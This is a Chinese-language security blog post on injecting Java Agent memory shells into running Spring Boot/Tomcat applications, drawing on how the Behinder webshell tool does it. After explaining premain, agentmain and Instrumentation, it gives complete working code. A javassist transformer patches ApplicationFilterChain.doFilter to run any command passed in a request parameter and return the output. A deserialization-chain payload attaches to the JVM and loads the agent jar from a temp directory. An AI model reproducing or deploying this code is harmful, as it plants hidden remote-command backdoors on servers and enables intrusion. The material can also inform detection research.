关于文件落地型java-agent内存马探讨

Java Agent 简介

在 jdk 1.5 之后引入了 java.lang.instrument 包,通过 java.lang.instrument 实现的工具叫 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去,很像反射

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

再了解java agent之前,先看看jar包的文件格式

我们需要了解MANIFEST.MF 文件

当我们用 JAR 命令打完包后,会在根目录下面创建 META-INF 目录,该目录下面会有一些对该 JAR 包信息的描述,其中肯定会有一个 MANIFEST.MF 文件,该文件包含了该 JAR 包的版本、创建人和类搜索路径等信息。

Manifest-Version: 1.0              # 用来定义manifest文件的版本
Archiver-Version: Plexus Archiver  # 详见 http://codehaus-plexus.github.io/plexus-archiver/
Built-By: penson                  # 构建者
Created-By: Apache Maven 3.5.0  #  # 声明该文件的生成者,一般该属性是由 jar 命令行工具生成的
Build-Jdk: 1.8.0_162               # 基于构建的 JDK 版本

premain方法

premain 方法,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

创建一个demo类

import java.lang.instrument.Instrumentation;

public class Demo {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain 方法被调用");
        }
    }
}

创建mainfest

agent.mf

Manifest-Version: 1.0
Premain-Class: Demo

利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成jar包 agent.jar

jar cvfm agent.jar agent.mf Demo.class

同样写一个普通类打包成jar,记得不要带包名

public class Test {
    public static void main(String[] args) {
        System.out.println("this is test main");
    }
}

Test.mf

Manifest-Version: 1.0
Main-Class: Test

记得加换行

jar cvfm Test.jar agent.mf Test.class

拿到agent.jar 和 Test.jar

java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

java -javaagent:agent.jar[=options] -jar Test.jar

java -javaagent:agent.jar=penson -jar Test.jar

image-20220901115311138

idea操作

在使用premain方法时,看到他需要的参数

image-20220901115346927

我们看到这里传的两参数,一个是agentArgs就是传的参数,然后还有Instrumentation

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

这是一个接口,我们重点关注三个方法

addTransformer

当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截

addTransformer()方法中,有一个参数ClassFileTransformer transformer。这个参数将帮助我们完成字节码的修改工作。

测试一下

import java.lang.instrument.Instrumentation;
import DefineTransformer;
public class Demo2 {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain 方法被调用了");
        }
        // 注册 DefineTransformer
        inst.addTransformer(new DefineTransformer(),true);
    }
}
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return new byte[0];
    }
}

如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: Demo2
jar cvfm agent.jar agent.mf Demo2.class DefineTransformer.class

java -javaagent:agent.jar=penson -jar Test.jar

image-20220901173051800

agentmain 方法

  1. 必须要实现 agentmain 方法
  2. Jar 文件清单中必须要含有 Premain-Class 属性
  3. 我们主要关注这两个类,分别是 VirtualMachine 和 VirtualMachineDescriptor

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)

该类允许通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

attach:从 JVM 上面解除一个代理(agent)

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor

是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。

这两个类都在tools.jar里

tools.jar 即你的java安装路径的lib里面

看到demo

import java.lang.instrument.Instrumentation;

public class Demo3 {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
    }
}
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return classfileBuffer;
    }
}

agent.mf

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Demo3
jar cvfm agent.jar agent.mf Demo2.class DefineTransformer.class

测试

package com.test.agentlearn_agentmain;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class TestDemo {
    public static void main(String[] args) throws Exception{
        String path = "/Users/penson/Desktop/网安/网络安全学习/java安全/java-agent内存马/src/main/java/com/test/agentlearn_agentmain/agent.jar";
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v:list){
            System.out.println(v.displayName());
            if (v.displayName().contains("TestDemo")){
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                System.out.println(v.id());
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给
                vm.loadAgent(path);
                vm.detach();
            }
        }
    }
}

image-20220902113205558

Agent 实现springboot内存马注入

前面说到由于实际环境中我们通常遇到的都是启动着的,所以 premain 那种方法不合适内存马注入,这里利用 agentmain 方法来尝试注入内存马

认识javassist

        <dependency>
        <groupId>javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.12.0.GA</version>
        </dependency>

利用javassist制作内存马

https://xz.aliyun.com/t/9450#toc-14

Spring Filter

随便起个controller

断点看看

image-20220902102445737

我们可以发现doFilter()方法是ApplicationFilterChain

看到doFIlter

image-20220902115537434

由此就可以通过动态修改这个类的doFilter方法来达到内存马的目的

制作agent.jar

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
        inst.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        String ClassName="org.apache.catalina.core.ApplicationFilterChain";
        Class[] classes = inst.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    inst.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

ClassFileTransformer.class

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {



    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"penson\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Agent

因为用到了第三方jar包,我们用idea编译,默认配置就行

image-20220902160110790

image-20220902160137138

打包成penson.jar

由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载 tools.jar

然后结合反序列化获取到 jvm 的 pid 号之后,调用 loadAgent 方法将 agent.jar 注入进去通过cc链带入

package com.exp.shell.agent;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class agentTest extends AbstractTranslet {
    //注入springboot内存马
    static {
        try{
            java.lang.String libname="penson.jar";
            java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname;
            System.out.println( System.getProperty("os.name").toLowerCase());
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

                        //获取所有的jvm
            System.out.println("Running JVM list ...");
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                java.lang.String name = (java.lang.String) displayName.invoke(o,null);
                // 找到我们想要插入的jvm
                if (name.contains("com.test.penson")){
                    // 获取对应进程的 pid 号
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                    java.lang.String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o,new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm,new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    System.out.println("penson.jar Inject Success !!");
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }



    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

引用冰蝎java-agent内存马实现无包名注入

看到上面java-agent马其实有个缺陷,必须知道对应的包名我们才能注入,然而实战环境中是很难知道对应的包名的,但是冰蝎是可以随便注入的,由此分析冰蝎的内存马注入流程

首先看到他是如何用vm注入的

首先在MainController.injectMemShell()方法中来进行注入内存马,这里我们主要看到文件落地型java-agent内存马

image-20220907162609483

进到injectAgent方法

image-20220907162845803

这个逻辑还是很清晰的,先确定当前的操作系统,然后确认上传java-agent的文件路径,在选择对应的java-agent的jar包

我们主要看到里面的injectAgentMemShell方法

image-20220907163101673

发现他是调用action为injectAgent是在MemShell进行的

看到MemShell

image-20220907163205191

这里就是冰蝎注入内存马的逻辑了

image-20220907163258758

我们看到在实现attach方法时,传的pid是用getCurrentPID()进行传递的

image-20220905104148904

由于在注入之前我们需要知道对应的pid,冰蝎用了ManagementFactory.getRuntimeMXBean().getName()来自动获取当前的pid

验证一下

我们可以发现pid是一样的

image-20220905104243675

由此改造原来的注入链

package com.exp.shell.agent;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.management.ManagementFactory;

public class agentTest extends AbstractTranslet {
    //注入springboot内存马
    static {
        try{
            java.lang.String libname="penson.jar";
            java.lang.String path= System.getProperty("os.name").toLowerCase().contains("window")?"c:/windows/temp/"+libname:"/tmp/"+libname;
            System.out.println( System.getProperty("os.name").toLowerCase());
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            //获取当前运行的进程
            String name = ManagementFactory.getRuntimeMXBean().getName();
            String pid = name.split("@")[0];
            System.out.println(name+" "+pid);


            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            java.lang.Object vm = attach.invoke(MyVirtualMachine,new Object[]{pid});
            java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            loadAgent.invoke(vm,new Object[]{path});
            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
            detach.invoke(vm,null);
            System.out.println("penson.jar Inject Success !!");

        } catch (Exception e){
            e.printStackTrace();
        }
    }



    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这样就不用知道对应的包名就可以直接注入内存马了

参考:

http://wjlshare.com/archives/1582

https://xz.aliyun.com/t/9450

https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq

https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年